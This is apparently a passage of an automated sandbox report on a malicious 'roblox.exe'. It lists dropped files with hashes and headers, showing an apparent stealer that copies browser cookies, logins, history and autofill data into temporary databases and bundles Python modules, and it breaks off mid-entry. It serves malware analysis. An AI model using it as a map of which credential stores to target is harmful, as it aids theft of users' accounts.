Preview:	----------------------logs pirates----------------------..======================================================================..####System Info#### ......Host Name: user-PC...OS Name: Microsoft Windows 10 Pro...OS Version: 10.0.19045 N/A Build 19045...OS Manufacturer: Microsoft Corporation...OS Configuration: Standalone Workstation...OS Build Type: Multiprocessor Free...Registered Owner: hardz...Registered Organization: ...Product ID: 00330-71388-77023-AAOEM...Original Install Date: 03/10/2023, 10:57:18...System Boot Time: 24/09/2023, 16:13:49...System Manufacturer: OHs1auETndy71r9...System Model: NkDf S3Y...System Type: x64-based PC...Processor(s): 2 Processor(s) Installed.... [01]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz... [02]: Intel64 Family 6

C:\Users\user\AppData\Local\Temp\AutofillData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cookies.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DownloadData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HistoryData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Logins.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Web.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2btwb5e1.ce3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fxcxydtg.k5i.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ydwysxw2.iwf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ytp4wfjw.dps.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\lgatpwn0

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:qn:qn
MD5:	3F1D1D8D87177D3D8D897D7E421F84D6
SHA1:	DD082D742A5CB751290F1DB2BD519C286AA86D95
SHA-256:	F02285FB90ED8C81531FE78CF4E2ABB68A62BE73EE7D317623E2C3E3AEFDFFF2
SHA-512:	2AE2B3936F31756332CA7A4B877D18F3FCC50E41E9472B5CD45A70BEA82E29A0FA956EE6A9EE0E02F23D9DB56B41D19CB51D88AAC06E9C923A820A21023752A9
Malicious:	false
Preview:	blat

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_asyncio.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64424
Entropy (8bit):	6.124000794465739
Encrypted:	false
SSDEEP:	1536:r/p7Wh7XUagO7BR4SjavFHx8pIS5nWQ7Sy7o:r/tWhzUahBR4Sjahx8pIS5n5Fo
MD5:	6EB3C9FC8C216CEA8981B12FD41FBDCD
SHA1:	5F3787051F20514BB9E34F9D537D78C06E7A43E6
SHA-256:	3B0661EF2264D6566368B677C732BA062AC4688EF40C22476992A0F9536B0010
SHA-512:	2027707824D0948673443DD54B4F45BC44680C05C3C4A193C7C1803A1030124AD6C8FBE685CC7AAF15668D90C4CD9BFB93DE51EA8DB4AF5ABE742C1EF2DCD08B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: random.exe.6.exe, Detection: malicious, Browse Filename: end.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Malware-gen.19901.26035.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Stealer.39881.9434.15338.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Evo-gen.11830.19095.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.~[b...b...b...k..`.......`.......n.......j.......a.......a.......`...b..........c.......c.......c.......c...Richb...........PE..d....K.b.........." ... .T..........`...............................................^.....`.............................................P...P...d........................)...........w..T...........................@v..@............p.. ............................text....R.......T.................. ..`.rdata...I...p...J...X..............@..@.data...(...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83368
Entropy (8bit):	6.530099411242372
Encrypted:	false
SSDEEP:	1536:asRz7qNFcaO6ViD4fhaLRFc/a8kd7jzWHCxIStVs7Sywk:9RzGYYhaY9kd7jzWixIStVs+k
MD5:	A4B636201605067B676CC43784AE5570
SHA1:	E9F49D0FC75F25743D04CE23C496EB5F89E72A9A
SHA-256:	F178E29921C04FB68CC08B1E5D1181E5DF8CE1DE38A968778E27990F4A69973C
SHA-512:	02096BC36C7A9ECFA1712FE738B5EF8B78C6964E0E363136166657C153727B870A6A44C1E1EC9B81289D1AA0AF9C85F1A37B95B667103EDC2D3916280B6A9488
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........{..{..{...#.{......{....M.{......{......{......{......{..Z...{..{...{......{......{....O.{......{..Rich.{..........PE..d....K.b.........." ... .....^..............................................P......& ....`.........................................p...H............0....... .. ........)...@..........T...........................p...@............................................text...O........................... ..`.rdata..L>.......@..................@..@.data...............................@....pdata.. .... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_cffi_backend.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	178176
Entropy (8bit):	6.160618368535074
Encrypted:	false
SSDEEP:	3072:a28mc0wlApJaPh2dEVWkS0EDejc2zSTBcS7EkSTLkKDtJbtb:axTlApohBV1S0usWchkSTLLDDt
MD5:	2BAAA98B744915339AE6C016B17C3763
SHA1:	483C11673B73698F20CA2FF0748628C789B4DC68
SHA-256:	4F1CE205C2BE986C9D38B951B6BCB6045EB363E06DACC069A41941F80BE9068C
SHA-512:	2AE8DF6E764C0813A4C9F7AC5A08E045B44DAAC551E8FF5F8AA83286BE96AA0714D373B8D58E6D3AA4B821786A919505B74F118013D9FCD1EBC5A9E4876C2B5F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........#...p...p...p...p...p.y.q...p.y{p...p.y.q...p.y.q...p.y.q...p.q...pi..q...p...pX..p.x.q...p...p...p.x.q...p.xyp...p.x.q...pRich...p................PE..d......f.........." ...).....B.............................................. ............`.........................................PX..l....X.......................................?...............................=..@............................................text............................... ..`.rdata..............................@..@.data....].......0...j..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122792
Entropy (8bit):	6.021506515932983
Encrypted:	false
SSDEEP:	3072:bsQx9bm+edYe3ehG+20t7MqfrSW08UficVISQPkFPR:QQxCOhGB0tgqfrSiUficrZ
MD5:	87596DB63925DBFE4D5F0F36394D7AB0
SHA1:	AD1DD48BBC078FE0A2354C28CB33F92A7E64907E
SHA-256:	92D7954D9099762D81C1AE2836C11B6BA58C1883FDE8EEEFE387CC93F2F6AFB4
SHA-512:	E6D63E6FE1C3BD79F1E39CB09B6F56589F0EE80FD4F4638002FE026752BFA65457982ADBEF13150FA2F36E68771262D9378971023E07A75D710026ED37E83D7B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T....ne..ne..ne......ne.p.d..ne.p.`..ne.p.a..ne.p.f..ne.t.d..ne...a..ne...d..ne...d..ne..nd..ne.t.h..ne.t.e..ne.t....ne.t.g..ne.Rich.ne.........PE..d....K.b.........." ... ............P[..............................................H.....`..........................................Q.......R...........................).......... ...T...............................@...............@............................text............................... ..`.rdata..nl.......n..................@..@.data...D>...p...8...^..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	250280
Entropy (8bit):	6.547354352688139
Encrypted:	false
SSDEEP:	6144:TogRj7JKM8c7N6FiFUGMKa3xB6Dhj9qWMa3pLW1A64WsqC:tPJKa7N6FEa3x4NlbqC
MD5:	10F7B96C666F332EC512EDADE873EECB
SHA1:	4F511C030D4517552979105A8BB8CCCF3A56FCEA
SHA-256:	6314C99A3EFA15307E7BDBE18C0B49BC841C734F42923A0B44AAB42ED7D4A62D
SHA-512:	CFE5538E3BECBC3AA5540C627AF7BF13AD8F5C160B581A304D1510E0CB2876D49801DF76916DCDA6B7E0654CE145BB66D6E31BD6174524AE681D5F2B49088419
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................7.......................................+.........c.........................[...........Rich...........PE..d....K.b.........." ... .p...:.......................................................^....`..........................................D..P...@E...................'.......)......@...p...T...........................0...@............................................text...]o.......p.................. ..`.rdata...............t..............@..@.data....)...`...$...L..............@....pdata...'.......(...p..............@..@.rsrc...............................@..@.reloc..@...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	61864
Entropy (8bit):	6.210920109899827
Encrypted:	false
SSDEEP:	768:aSz5iGzcowlJF+aSe3kuKUZgL4dqDswE9+B1fpIS5IHYiSyvc9eEdB:npWlJF+aYupZbdqDOgB1fpIS5IH7Sy+V
MD5:	49CE7A28E1C0EB65A9A583A6BA44FA3B
SHA1:	DCFBEE380E7D6C88128A807F381A831B6A752F10
SHA-256:	1BE5CFD06A782B2AE8E4629D9D035CBC487074E8F63B9773C85E317BE29C0430
SHA-512:	CF1F96D6D61ECB2997BB541E9EDA7082EF4A445D3DD411CE6FD71B0DFE672F4DFADDF36AE0FB7D5F6D1345FBD90C19961A8F35328332CDAA232F322C0BF9A1F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zD.A>%..>%..>%..7]..:%..^_..<%..^_..2%..^_..6%..^_..=%..Z_..<%...W..<%...\..=%..>%...%..Z_..?%..Z_..?%..Z_..?%..Z_..?%..Rich>%..................PE..d....K.b.........." ... .P...z.......<..............................................Np....`............................................P...@............................)......X....l..T............................k..@............`..(............................text....N.......P.................. ..`.rdata..VM...`...N...T..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	158120
Entropy (8bit):	6.838169661977938
Encrypted:	false
SSDEEP:	3072:MeORg8tdLRrHn5Xp4znfI9mNoY6JCvyPZxsyTxISe1KmDd:M/Rgo1L5wwYOY6MixJKR
MD5:	B5FBC034AD7C70A2AD1EB34D08B36CF8
SHA1:	4EFE3F21BE36095673D949CCEAC928E11522B29C
SHA-256:	80A6EBE46F43FFA93BBDBFC83E67D6F44A44055DE1439B06E4DD2983CB243DF6
SHA-512:	E7185DA748502B645030C96D3345D75814BA5FD95A997C2D1C923D981C44D5B90DB64FAF77DDBBDC805769AF1BEC37DAF0ECEE0930A248B67A1C2D92B59C250C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........m....................................................<.........................................Rich...........................PE..d....L.b.........." ... .d...........8...............................................p....`.........................................0%..L...\|%..x....p.......P.......@...)......H.......T...........................`...@............................................text...^c.......d.................. ..`.rdata..............h..............@..@.data........@......................@....pdata.......P....... ..............@..@.rsrc........p.......4..............@..@.reloc..H............>..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_multiprocessing.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	33192
Entropy (8bit):	6.3186201273933635
Encrypted:	false
SSDEEP:	768:Y3I65wgJ5xeSZg2edRnJ8ZISRtczYiSyvZCeEdP:gIgJ5Uqg2edRJ8ZISRtcz7Sy0b
MD5:	71AC323C9F6E8A174F1B308B8C036E88
SHA1:	0521DF96B0D622544638C1903D32B1AFF1F186B0
SHA-256:	BE8269C83666EAA342788E62085A3DB28F81512D2CFA6156BF137B13EBEBE9E0
SHA-512:	014D73846F06E9608525A4B737B7FCCBE2123D0E8EB17301244B9C1829498328F7BC839CC45A1563CF066668EA6E0C4E3A5A0821AB05C999A97C20AA669E9EDA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_.+.>.x.>.x.>.x.Fgx.>.x.D.y.>.x.D.y.>.x.D.y.>.x.D.y.>.x.D.y.>.x.>.x.>.xmL.y.>.x.D.y.>.x.D.y.>.x.D.x.>.x.D.y.>.xRich.>.x........................PE..d....K.b.........." ... .....<......0....................................................`.........................................0D..`....D..x....p.......`.......X...)...........4..T...........................p3..@............0...............................text............................... ..`.rdata..^....0... ..."..............@..@.data........P.......B..............@....pdata.......`.......H..............@..@.rsrc........p.......L..............@..@.reloc...............V..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_overlapped.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	48552
Entropy (8bit):	6.319402195167259
Encrypted:	false
SSDEEP:	768:9i4KJKYCKlBj7gKxwfZQ7ZlYXF1SVMHE4ftISstDYiSyvM+eEd2:hKJfBuAA1SVWBftISstD7Syti
MD5:	7E6BD435C918E7C34336C7434404EEDF
SHA1:	F3A749AD1D7513EC41066AB143F97FA4D07559E1
SHA-256:	0606A0C5C4AB46C4A25DED5A2772E672016CAC574503681841800F9059AF21C4
SHA-512:	C8BF4B1EC6C8FA09C299A8418EE38CDCCB04AFA3A3C2E6D92625DBC2DE41F81DD0DF200FD37FCC41909C2851AC5CA936AF632307115B9AC31EC020D9ED63F157
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|.K{8.%(8.%(8.%(1..(<.%(X.$):.%(X. )4.%(X.!)0.%(X.&);.%(\.$):.%(8.$(N.%(.$)=.%(.!)9.%(\.()9.%(\.%)9.%(\..(9.%(\.')9.%(Rich8.%(........PE..d....K.b.........." ... .>...X...... ................................................o....`..........................................w..X...(x...........................)...... ....V..T............................U..@............P...............................text....<.......>.................. ..`.rdata...4...P...6...B..............@..@.data................x..............@....pdata..............................@..@.rsrc...............................@..@.reloc.. ...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30632
Entropy (8bit):	6.41055734058478
Encrypted:	false
SSDEEP:	768:lez/Dt36r34krA4eVIS7UAYiSyvAEYeEdSiD:leDE34krA4eVIS7UA7Sy9YLD
MD5:	23F4BECF6A1DF36AEE468BB0949AC2BC
SHA1:	A0E027D79A281981F97343F2D0E7322B9FE9B441
SHA-256:	09C5FAF270FD63BDE6C45CC53B05160262C7CA47D4C37825ED3E15D479DAEE66
SHA-512:	3EE5B3B7583BE1408C0E1E1C885512445A7E47A69FF874508E8F0A00A66A40A0E828CE33E6F30DDC3AC518D69E4BB96C8B36011FB4EDEDF9A9630EF98A14893B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.~Zb...b...b...k..`.......`.......n.......j.......a.......a.......`...b...+.......c.......c.......c.......c...Richb...........................PE..d....K.b.........." ... .....8.......................................................F....`..........................................C..L....C..d....p.......`.......N...)..........`4..T........................... 3..@............0..(............................text............................... ..`.rdata..2....0......................@..@.data...x....P.......:..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc...............L..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	77736
Entropy (8bit):	6.247935524153974
Encrypted:	false
SSDEEP:	1536:C6DucXZAuj19/s+S+pjtk/DDTaVISQwn7SyML:C6DPXSuj19/sT+ppk/XWVISQwneL
MD5:	E137DF498C120D6AC64EA1281BCAB600
SHA1:	B515E09868E9023D43991A05C113B2B662183CFE
SHA-256:	8046BF64E463D5AA38D13525891156131CF997C2E6CDF47527BC352F00F5C90A
SHA-512:	CC2772D282B81873AA7C5CBA5939D232CCEB6BE0908B211EDB18C25A17CBDB5072F102C0D6B7BC9B6B2F1F787B56AB1BC9BE731BB9E98885C17E26A09C2BEB90
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...ry..ry..ry..{.g.ty......py.......y......zy......qy......py..ry...y......uy......sy......sy......sy......sy..Richry..................PE..d....K.b.........." ... .l.......... &.......................................P.......Q....`.............................................P...P........0....... ..l........)...@.........T...............................@............................................text...Rj.......l.................. ..`.rdata...s.......t...p..............@..@.data...............................@....pdata..l.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_sqlite3.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	97704
Entropy (8bit):	6.173518585387285
Encrypted:	false
SSDEEP:	1536:GzgMWYDOavuvwYXGqijQaIrlIaiP9NbTp9c4L7ZJkyDpIS5Qux7Syce:NFYqDPSQaIrlI/DbLc2tJkyDpIS5QuxZ
MD5:	7F61EACBBBA2ECF6BF4ACF498FA52CE1
SHA1:	3174913F971D031929C310B5E51872597D613606
SHA-256:	85DE6D0B08B5CC1F2C3225C07338C76E1CAB43B4DE66619824F7B06CB2284C9E
SHA-512:	A5F6F830C7A5FADC3349B42DB0F3DA1FDDB160D7E488EA175BF9BE4732A18E277D2978720C0E294107526561A7011FADAB992C555D93E77D4411528E7C4E695A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........dQ...?...?...?..}....?..>...?......?..:...?..;...?..<...?..>...?.;w>...?...>...?..2...?..?...?......?..=...?.Rich..?.................PE..d....L.b.........." ... ............................................................4.....`.............................................P....................`.......T...)..............T...............................@...............`............................text...n........................... ..`.rdata...p.......r..................@..@.data...,....@......................@....pdata.......`.......2..............@..@.rsrc................F..............@..@.reloc...............P..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	159144
